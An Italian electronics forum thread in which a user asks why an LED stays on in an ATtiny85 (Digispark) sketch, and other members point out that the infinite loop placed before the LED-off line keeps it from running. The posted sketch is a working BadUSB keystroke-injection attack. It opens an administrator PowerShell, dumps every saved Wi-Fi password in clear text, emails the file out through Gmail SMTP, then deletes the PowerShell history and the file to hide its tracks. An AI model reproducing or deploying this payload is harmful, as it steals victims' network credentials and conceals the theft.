home | area personale         schemi | tutorial | robotica | pic micro | recensioni         forum | chat irc         faq | contatti         store | Ordina PCB
username
password
cerca

 
FORUM: Pic Micro
Tutto quanto riguarda questi microprocessori... progetti, suggerimenti, aiuti, discussioni...ecc


Arduino Attiny85
     
Autore Messaggio opzioni
mastertechnology




una ogni 10 livelli


postato il:
03.03.2020, alle ore 11:42
Arduino Attiny85 

Salve, premetto che questo non è il posto giusto per parlare di Arduino ma spero che qualcuno di voi mi sappia aiutare! Il problema che ho io e che quando il mio programma finisce di effettuare il suo compito un led rimane acceso nonostante gli abbai dato il comando di spegnersi.
#include "KeyboardIT.h"                  //Viene caricata la libreria KeyboardIT.h nella quale ÃƒÂ¨ contenuta la mappatura dei tasti della tastiera italiana.
#define LED 1                            // LED collegato al pin digitale 1

void setup() {
pinMode(LED, OUTPUT);                    //Inizializziamo il pin 1 come una uscita
}

void loop() {
  digitalWrite(LED, HIGH);               //Accendi Led per indicare inizio programma
  DigiKeyboard.sendKeyStroke(0);         //Viene simulata la pressione di un tasto.
  DigiKeyboard.delay(500);               //Inserisce un ritardo, prima di eseguire l'istruzione successiva.
//Simula la combinazione di tasti Windows+X + tasto A + ALT+S.  
  DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_A);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
  DigiKeyboard.delay(500);
//DigiKeyboard.print consente di stampare/scrivere a video il comando che gli viene passato.  
  DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)}  | Out-File wifi.txt; exit"));
//Viene creata l'email con in allegato il file wifi.txt  
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(3000);
//Andiamo a cancellare le tracce.
  DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_A);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print(F("$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('INDIRIZZO_GMAIL_MITTENTE', 'PASSWORD'); $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = 'INDIRIZZO_GMAIL_MITTENTE'; $ReportEmail.To.Add('INDIRIZZO_EMAIL_DESTINATARIO'); $ReportEmail.Subject = 'Credenziali reti Wi-Fi :)'; $ReportEmail.Body = 'In allegato le credenziali. '; $ReportEmail.Attachments.Add('wifi.txt'); $SMTPInfo.Send($ReportEmail); exit"));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_A);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print(F("del (Get-PSReadlineOption).HistorySavePath;exit"));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("cmd");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.print(F("del wifi.txt"));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(100);
  DigiKeyboard.print(F("exit"));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  for(;;){ /*empty*/ }
  digitalWrite(LED, LOW);                //Spegni Led per indicare fine del programma
}

Sono sicuro che il problema è semplice da risolvere ma non riesco a capire come si fà.



L'altruismo rende forti.
https://www.youtube.com/channel/UC5yld_Lh_D9ffo_GgxMIiqg?view_as=subscriber
gironico




una ogni 100 livelli


postato il:
03.03.2020, alle ore 11:53
Salve, premetto che questo non è il posto giusto per parlare di Arduino

Perchè non sarebbe il posto giusto? Arduino è una piattaforma, con un micro della famiglia ATmega.

Il problema che ho io e che quando il mio programma finisce


Presumo che quello che chiami programma sia la lista dei programmi inserita nel void loop.

Il programma ha un inizio e una fine certo, ma si ripete all'infinito.... come del resto in tutti i programmi ammeno che non si si fa ricorso ad escamotage per eseguirlo una volta sola.

Nel tuo loop lo spegni alla fine, ma lo riaccendi all'inizio del ciclo quindi....

Intuisco che vuoi accendere il led all'inizio una volta soltanto, quindi sposta il comando di portare a livello logico alto il led nel void Setup (ciclo che esegue i comandi una volta sola al momento dell'avvio.

 void setup() {
pinMode(LED, OUTPUT);   //Inizializziamo il pin 1 come una uscita
digitalWrite(LED, HIGH);   

}

void loop() {
copi tutto nel void loop eccetto :
digitalWrite(LED, HIGH); [/code]
}



La vita è troppo breve per bere vini mediocri
gironico




una ogni 100 livelli


postato il:
03.03.2020, alle ore 11:54
sono su cel ho fatto casino, ma penso che lo capisci...


La vita è troppo breve per bere vini mediocri
gironico




una ogni 100 livelli


postato il:
03.03.2020, alle ore 11:56
gironico:
Presumo che quello che chiami programma sia la lista dei programmi inserita nel void loop.


buonanotte giro.... perdonami, volevo dire che :

presumo che quello che chiami programma sia la lista delle istruzioni di comando nel void loop (ciclo infinito)....



La vita è troppo breve per bere vini mediocri
lorebaro





postato il:
03.03.2020, alle ore 13:18
Ciao mastertechnology

 
  for(;;){ /*empty*/ }
  digitalWrite(LED, LOW);                //Spegni Led per indicare fine del programma
 


il Led non si spegne mail perchè l'istruzione precedence non finisce mai.
for(;;){} esegue un ciclo infinito che non esegue nulla, ma non finisce mai, per cui non si arriva mai ad eseguire l'istruzione che spegne il led.
Lorenzo
lorebaro





postato il:
03.03.2020, alle ore 14:32
Per risolvere il problema ti basta invertire le due istruzioni

 
digitalWrite(LED, LOW); 
for (;;){ /*empty*/ }


Scusate il doppio post.
Lorenzo
mastertechnology




una ogni 10 livelli


postato il:
04.03.2020, alle ore 12:13
lorebaro:
Per risolvere il problema ti basta invertire le due istruzioni

 
digitalWrite(LED, LOW); 
for (;;){ /*empty*/ }


Scusate il doppio post.
Lorenzo


Grazie cosi va bene!



L'altruismo rende forti.
https://www.youtube.com/channel/UC5yld_Lh_D9ffo_GgxMIiqg?view_as=subscriber
segui questo thread con grixFC, per questa funzione devi aver installato il software grixFC

torna su
     

Come utente anonimo puoi leggere il contenuto di questo forum ma per aprire una discussione
o per partecipare ad una discussione esistente devi essere registrato ed accedere al sito




 







 
 
indietro | homepage | torna su copyright © 2004/2024 GRIX.IT - La community dell'elettronica Amatoriale